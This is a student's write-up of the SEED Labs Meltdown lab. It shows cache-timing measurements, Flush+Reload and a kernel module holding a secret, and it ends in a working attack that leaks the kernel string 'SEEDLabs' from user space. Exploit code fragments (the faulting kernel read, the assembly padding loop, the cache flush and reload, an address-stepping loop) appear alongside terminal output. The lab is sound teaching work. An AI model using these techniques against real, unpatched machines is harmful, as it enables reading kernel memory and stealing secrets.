A20453991

Lab 5

Task 1: Side Channel Attacks via CPU Caches

The given program CacheTime.c is executed with -march=native flag and then runfor around 10 times. It is observed that accessing 3rd and 7th position elements in the array is comparitively faster than other elements in the array consistently by atleast 100 CPU cycles. Only 0th array element is sometimes faster but not consistently and this would have occurred because 0th element might have fallen in the cache block due to variables in the adjacent memory. I am going to use 100 cycles as threshold because on an average, this is the time taken by 3rd and 7th position element access.

```
[02/07/20]seed@VM:~/.../Lab5$ ./a.out
Access time for array[0*4096]: 184 CPU cycles
Access time for array[1*4096]: 216 CPU cycles
Access time for array[2*4096]: 252 CPU cycles
Access time for array[3*4096]: 64 CPU cycles
Access time for array[4*4096]: 248 CPU cycles
Access time for array[5*4096]: 232 CPU cycles
Access time for array[6*4096]: 252 CPU cycles
Access time for array[7*4096]: 100 CPU cycles
Access time for array[8*4096]: 240 CPU cycles
Access time for array[9*4096]: 244 CPU cycles
[02/07/20]seed@VM:~/.../Lab5$ ./a.out
Access time for array[0*4096]: 286 CPU cycles
Access time for array[1*4096]: 484 CPU cycles
Access time for array[2*4096]: 429 CPU cycles
Access time for array[3*4096]: 308 CPU cycles
Access time for array[4*4096]: 506 CPU cycles
Access time for array[5*4096]: 473 CPU cycles
Access time for array[6*4096]: 649 CPU cycles
Access time for array[7*4096]: 385 CPU cycles
Access time for array[8*4096]: 550 CPU cycles
Access time for array[9*4096]: 312 CPU cycles
```

Task 2:

I have set a threshold of 100 in the program and was able to see the secret key being displayed for atleast once in 3 times of running the program.

```
[02/07/20]seed@VM:~/.../Lab5$ ./freload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[02/07/20]seed@VM:~/.../Lab5$ ./freload
[02/07/20]seed@VM:~/.../Lab5$ ./freload
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

The secret is printed out 7 times out of 20 runs of the program

Task 3: Place Secret Data in Kernel Space

The kernel module is compiled using the given instructions and the secret data address is seen here:

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ dmesg | grep 'secret'
[ 4949.915628] secret data address:fa01b000
```

Task 4: Access Kernel Memory from User Space

Line 2 will be executed because of out-of-order execution. However, this program will crash with segmentation fault as seen below. This is because a user level program is trying to access kernel memory which is prohibited and kernel raises an exception on this.

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -marc
h=native -o mtesting meltdowntesting.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mtestin
g
Segmentation fault
```

Melt meltdowntesting.c MeltdownExperiment.c

```c
#include <stdio.h>

int main()
{
    char *kernel_data_addr = (char*)0xfa01b000;
    char kernel_data = *kernel_data_addr;
    printf("I have reached here.\n");
    return 0;
}
```

Task 5: Handle Error/Exceptions in C

The program ExceptionHandling.c is compiled and it is run. Instead of crashing, because of the try catch mechanism that is implemented, the program continued to execute from else branch after memory access (which resulted in segmentation fault).

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -marc
h=native -o ehandling ExceptionHandling.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./ehandli
ng
Memory access violation!
Program continues to execute.
```

Task 6: Out-of-Order Execution by CPU

The threshold in the code is changed to 100 and and the address is changed. As we can see, the secret number is being found out using the side channel attack.

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mExperi
ment
Memory access violation!
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mExperi
ment
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mExperi
ment
Memory access violation!
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mExperi
ment
Memory access violation!
```

Task 7: The Basic Meltdown Attack

Task 7.1: A Naive Approach

I have modified the number 7 with kernel_data and ran the executable for 100 times but was not successful.

```c
}
/*********************** Flush + Reload ************************/

void meltdown(unsigned long kernel_data_addr)
{
  char kernel_data = 0;

  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;
  array[kernel_data * 4096 + DELTA] += 1;
}
```

This is the script I Used to run the executable

meltdowntesti | MeltdownExperiment.c | mEp.sh

```bash
#!/bin/bash

i=0

while [ $i -le 100 ]
do
    ./mExperiment
    let i+=1
done
```

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mEp.sh
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
```

Task 7.2: Improve the Attack by Getting the Secret Data Cached

As seen, the code is placed before the out-of-order execution gets triggered. However, the attack is still not successful.

```c
int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  // FLUSH the probing array
  flushSideChannel();

  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
    perror("open");
    return -1;
  }

  int ret = pread(fd, NULL, 0, 0);

  if (sigsetjmp(jbuf, 1) == 0) {
      meltdown(0xfa01b000);
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();
  return 0;
}
```

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mEp.sh
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
```

Task 7.3: Using Assembly Code to Trigger Meltdown

This time the attack is successful. On increasing the number of iterations, the success rate is increased. For 400 loops, 3 out 100 attempts were successful and for 10000 loops 7 out of 100 attempts were successful. As expected, on decreasing the number of loops to 10, there was no success.

```
// Give eax register something to do
asm volatile(
    ".rept 10000;"
    "add $0x141, %%eax;"
    ".endr;"

    :
    :
    : "eax"
);

// The following statement will cause
```

```
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
```

Task 8: Make the Attack More Practical

Following changes were made to MeltdownAttack.c: threshold set to 100 and changed addresses to find all the characters corresponding to the secret key.

```
}

// Flush the probing array
for (j = 0; j < 256; j++){
  _mm_clflush(&array[j * 4096 + DELTA]);
}


if (sigsetjmp(jbuf, 1) == 0) {
  meltdown_asm(0xfa23d007);
}

reloadSideChannelImproved();
```

```
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 83 S
The number of hits is 62
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 69 E
The number of hits is 972
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 69 E
The number of hits is 968
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 68 D
The number of hits is 959
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 76 L
The number of hits is 930
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 97 a
The number of hits is 956
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 98 b
The number of hits is 442
[02/07/20]seed@VM:~/.../Meltdown_Attack$ gcc -march=native -o mAttack MeltdownAttack.c
[02/07/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack
The secret value is 115 s
The number of hits is 585
```

As seen above, we got the secret key “SEEDLabs”.

The following change is made to the MeltdownAttack.c to print the entire string in one execution of the program:

Copied the content of main function to a new function called func and called this function from the main function.

```c
int func(unsigned long address)
{
  int i, j, ret = 0;

  // Register signal handler
  signal(SIGSEGV, catch_segv);

  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
    perror("open");
    return -1;
```

As seen below, SEEDLabs is printed in one run of he program

```
int main(){
  unsigned long address  = 0xf9cf0000;
  int count = 0;
  while(count<8){
    func(address);
    count++;
    address += 0x00000001;
  }

  return 0;

}
```

```
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./mAttack2
The secret value is 83 S
The number of hits is 1777
The secret value is 69 E
The number of hits is 1846
The secret value is 69 E
The number of hits is 1852
The secret value is 68 D
The number of hits is 1942
The secret value is 76 L
The number of hits is 1916
The secret value is 97 a
The number of hits is 540
The secret value is 98 b
The number of hits is 1915
The secret value is 115 s
The number of hits is 1725
```